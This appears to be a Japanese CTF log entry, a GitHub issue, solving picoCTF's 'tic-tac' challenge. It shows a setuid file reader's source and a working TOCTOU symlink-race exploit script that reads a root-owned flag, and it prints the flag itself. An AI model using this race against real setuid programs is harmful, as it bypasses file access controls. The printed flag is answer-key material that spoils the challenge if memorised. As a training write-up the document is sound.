roaris / ctf-log

0 stars 0 forks source link

picoCTF: tic-tac (Binary Exploitation) #32

Open roaris opened 3 months ago

roaris commented 3 months ago

https://play.picoctf.org/practice/challenge/380

roaris commented 3 months ago

https://qiita.com/H4ppyR41nyD4y/items/a4ae3b6006e1d478524e を見て進める

roaris commented 3 months ago
$ ssh ctf-player@saturn.picoctf.net -p 62289
ctf-player@pico-chall$ ls -al
total 36
drwxr-xr-x 1 ctf-player ctf-player    41 Apr 30 18:27 .
drwxr-xr-x 1 root       root          24 Aug  4  2023 ..
-rw------- 1 ctf-player ctf-player     5 Apr 30 18:27 .bash_history
drwx------ 2 ctf-player ctf-player    34 Apr 30 18:27 .cache
-rw-r--r-- 1 root       root          67 Aug  4  2023 .profile
-rw------- 1 root       root          32 Aug  4  2023 flag.txt
-rw-r--r-- 1 ctf-player ctf-player   912 Mar 16  2023 src.cpp
-rwsr-xr-x 1 root       root       19016 Aug  4  2023 txtreader

flag.txtは読み取り権限がない

ctf-player@pico-chall$ cat flag.txt
cat: flag.txt: Permission denied

txtreaderというバイナリがある 所有者の実行権限がsになっているので、setuidが設定されている 所有者がrootなので、ctf-playerであってもtxtreaderはrootとして実行される

txtreaderを使ってもflag.txtは読み取れない

ctf-player@pico-chall$ ./txtreader flag.txt
Error: you don't own this file

src.cppがソースコードらしい

#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}

st_uid(所有者のユーザID)とgetuid(実ユーザID)が一致しない場合はエラーとなる getuidで取得されるのは実ユーザIDである、というのが重要である setuidが設定されたバイナリを動かすと、実行ユーザIDはバイナリの所有者になるが、実ユーザIDはバイナリを実行したユーザのままである(https://www.khstasaba.com/?p=454)

roaris commented 3 months ago

dummyというファイルを用意しておく linkという名前のシンボリックリンクを作成し、参照先をdummyとflag.txt交互に切り替えるようにするようなシェルスクリプトを作成する viがないので、echoコマンドを使う fオプションをつけると、linkの上書きを可能になる(fオプションをつけないと、ln: failed to create symbolic link 'link': File existsとなる) また、参照先をflag.txtとするようなハードリンクは作成出来ない(ln: failed to create hard link 'link' => 'flag.txt': Operation not permitted) st_uidとgetuidの比較を行う時に、参照先がdummyなら、エラーにならずにファイルの読み取りに進む ファイルの読み取り時に、参照先がflag.txtなら、setuidによりflag.txtを読み取ることが出来る

ctf-player@pico-chall$ touch dummy
ctf-player@pico-chall$ echo "#/bin/bash
> while true
> do
>   ln -sf dummy link
>   ln -sf flag.txt link
> done" > exploit.sh
ctf-player@pico-chall$ cat exploit.sh
#/bin/bash
while true
do
  ln -sf dummy link
  ln -sf flag.txt link
done

実行権限を付与して、バックグラウンドで動作させる

ctf-player@pico-chall$ chmod +x exploit.sh
ctf-player@pico-chall$ ./exploit.sh &

あとは、./txtreader linkを複数回実行すれば、そのうちフラグが出てくるのだが、なかなか出てこなかったので、whileで実行する

ctf-player@pico-chall$ while true; do ./txtreader link 2>/dev/null; done
picoCTF{ToctoU_!s_3a5y_f482a247}
picoCTF{ToctoU_!s_3a5y_f482a247}
picoCTF{ToctoU_!s_3a5y_f482a247}
...